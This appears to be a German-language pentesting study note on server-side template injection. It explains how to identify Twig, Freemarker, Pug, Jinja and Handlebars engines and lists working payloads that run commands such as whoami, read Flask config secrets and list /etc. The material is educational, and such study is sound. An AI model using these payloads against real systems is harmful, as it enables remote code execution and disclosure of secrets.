Server Side Template Injection (SSTI)
Beim SSTI wird die Template Engine angegriffen. Je nachdem, ob diese Clientseitig oder Serverseitig arbeitet kann dadurch eine XSS oder eine RCE Schwachstelle auftreten.
| Templating Engine | Language | Server/client Side |
|---|---|---|
| Twig | PHP | Server Side |
| Freemarker | Java (usually) | Server Side |
| Pug/Jade | JavaScript | Mostly Server Side |
| Jinja | Python | Server Side |
| Handlebars | JavaScript | Both |
| Mustache | Multiple | Varies |
Zusätzlich zum einfügen von Variablen Werten bieten einige Engines noch an eine gewisse Logik zu benutzen:

Um zu prüfen ob eine SSTI Schwachstelle existiert kann der Payload ${{<%[%'"}}%\. genutzt werden.
Dieser wirft mit großer Wahrscheinlichkeit einen Fehler, wenn es eine SSTI Schwachstelle gibt.
Um die Templating Engine genauer zu identifizieren kann die Tabelle genutzt werden.
Alternativ kann auch dieser Guide helfen.
Tools
- Tinja Reine Detektion der SSTI Schwachstellen
- SSTImap Detektion und Ausnutzung der SSTI Schwachstelle
Twig
Twig ist eine Template Engine für PHP und nutzt viel Logik. Bei Twig werden die Datentypen nicht richtig geprüft, was zu dem Ergebnis führt, dass die zwei folgenden Template ersetzungen gleich sind.
{{5*5}} == {{5*'5'}}
```
Ein weiteres Indiz für Twig kann sein, dass das `-` Zeichen benutzt wird, welches nicht druckbare Zeichen entfernt, wie Leerzeichen und Newlines.
```twig
Wort
{{-dahinter-}}
```
Das Ergebnis dieser Ersetzung wäre dadurch `Wortdahinter`.
Um nun eine Schwachstelle in twig auszunutzen muss ein Filter benutzt werden, welcher näher an der Programmiersprache ist. Dazu zählen: `filter`, `join`, `map`, `reduce`, `slice` und `sort`.
Genaueres gucken auf die `reduce` Funktion, besagt dass sie iterativ eine Sequenz oder ein Mapping zu einem einzigen Wert reduziert. Dazu wird eine Pfeil Funktion benutzt:
```twig
{% set numbers = [1,2,3] %}
{{ numbers|reduce((carry, v) => carry + v) }}
{# output 6 #}
```
Dies kann nun ausgenutzt werden, um einen eigenen Befehl auszuführen:
```twig
{{[0]|reduce('system', 'whoami')}}
```
# Apache Freemarker
Apache Freemarker wird meistens mit Java Anwendungen benutzt. Freemarker, macht das gleiche wie Twig aber für Jakarta Server Pages(früher als Java Server Pages oder JSP) bekannt. Es bietet aber eine bessere Trennung der Manipulation von Daten und der Anzeige.
**Beispiel**:
```jsp
<h1>Hello ${name}!</h1>
<#if name == "hacker">
The top reasons you're great:
<#list reasons as reason>
${reason?index + 1}: ${reason}
</#list>
</#if>
${7*'7'} schlägt fehl mit There was an error rendering your content. ${ wird als trenner benutzt.
Mit der Execute Klasse ist es möglich Code auszuführen. Dazu wird die neue Klasse angelegt:
${"freemarker.template.utility.Execute"?new()("whoami")}
```
> [!IINFO] Interessant
> [no_esc](https://freemarker.apache.org/docs/ref_builtins_string.html#ref_builtin_no_esc)
# Pug
Pug früher als Jade bekannt ist eine JavaScript Templating engine. Es wird meistens für serverseitiges rendern genutzt, allerdings wird auch Client seitiges rendern unterstützt. Pug wird dabei meistens in Express integriert in einer NodeJS Anwendung. Die Pug Syntax unterscheidet sich deutlich von anderen engines, da Pug speziell für die HTML Generierung genutzt wird. Auch gibt es die Möglichkeit HTML Tags und Tag Attribute zu spezifizieren. Der Anfang der Zeile wird als Tag benutzt. So kann ein `foo` am Anfang das folgende in ein `<foo>` Tag stecken.
```pug
h1 Hello, #{name}
input(type='hidden' name='admin' value='true')
if showSecret
- secret = ['❤️','😍', '🤟']
p The secrets are:
each val in secret
p #{val}
else
p No secret for you!
- Zeichen am Anfang. Dieses sagt, dass der folgende Code als JavaScript ausgeführt werden soll, aber nicht angezeigt werden soll. Es wird auch gepufferter Code unterstützt mithilfe des = Zeichens. Dabei wird die Ausgabe ausgegeben.
Um Pug nun zu identifizieren wird der Payload #{"7"*7} benutzt. Falls die Ausgabe 49 ist, gibt es kein striktes Typ checking. Dies ist bei JavaScript oder PHP der Fall. Zudem erwartet Pug, dass das erste Wort einer Zeile ein Tag ist. Somit ergibt die Eingabe von #{"7"*7} das folgende: <49>.
Um Kommandos auszuführen kann die Funktion child_process.spawnSync benutzt werden. Das Modul ist aber nicht standardmäßig aktiviert. Dafür muss die require Funktion benutzt werden. Dafür kann das gepufferte Code feature benutzt werden: = require. Sollte dies nicht verfügbar sein, ist es möglich dies über das globale Objekt zu versuchen: = global.process.mainModule.require. Das globale Objekt ist ähnlich zu dem Browser Window Objekt. Dann kann die globale Funktion als require Funktion implementiert werden:
- var require = global.process.mainModule.require
= require('child_process').spawnSync('whoami').stdout
[object Object].
Jinja
Jinja ist eine Templating Engine für Python.
<h1>Hey {{ name }}</h1>
{% if reasons %}
Here are a couple of reasons why you are great:
<ul>
{% for r in reasons %}
<li>{{r}}</li>
{% endfor %}
</ul>
{% endif %}
Um Jinja zu identifizieren kann der folgende Payload benutzt werden: {{5*"5"}}
Das Ergebnis hiervon ist: 55555.
Zudem werden einige Variablen durch Flask gesetzt: config, request, session, g, url_for() und get_flashed_message().
Jinja auszunutzen ist ein bißchen komplexer, weshalb erstmal die config Variable ausgelesen wird, welche sensible Informationen enthalten kann: {{config|pprint}}
Mustache und Handlebars
Die Mustache Templating Engine wird von verschiedenen Frameworks und Programmiersprachen unterstützt. Mustache kann templates Server- oder Clientseitig mit JavaScript gerendert werden. Mustache besitzt im gegensatz zu anderen Templating Engines keine Logik. Mustache kann nur einfache if statements durchlaufen oder durch ein Array loopen. Aufgrund der fehlenden Logik ist es viel schwieriger hier eine Schwachstelle auszunutzen. Meistens ist nur information disclosure oder XSS möglich. Diese Restriktionen waren für viele Entwickler zu restriktiv, weswegen Handlebars entwickelt wurde. Die Sprachen JavaScript, Java, .NET, PHP und mehr werden unterstützt, wobei JavaScript am häufigsten ist.
<h1>Hello {{name}}</h1>
{{#if nicknames}}
Also known as:
{{#each nicknames}}
{{this}}
{{/each}}
{{/if}}
We are using handlebars locally in your browser to generate this template
Bei handlebars ist es allerdings möglich zusätzliche helfer hinzuzufügen, welche dann möglicherweise Schwachstellen aufweisen da durch diese Helfer die Möglichkeit bestehen kann auf das unterliegende System zuzugreifen. Ein Beispiel ist beispielsweise das repository handlebars-helpers. Funktionen die ausgenutzt werden können sind read und readdir. Diese Funktionen eignen sich allerdings nicht besonders, falls das Template Client Seitig gerendert wird.
{{#each (readdir "/etc")}}
{{this}}
{{/each}}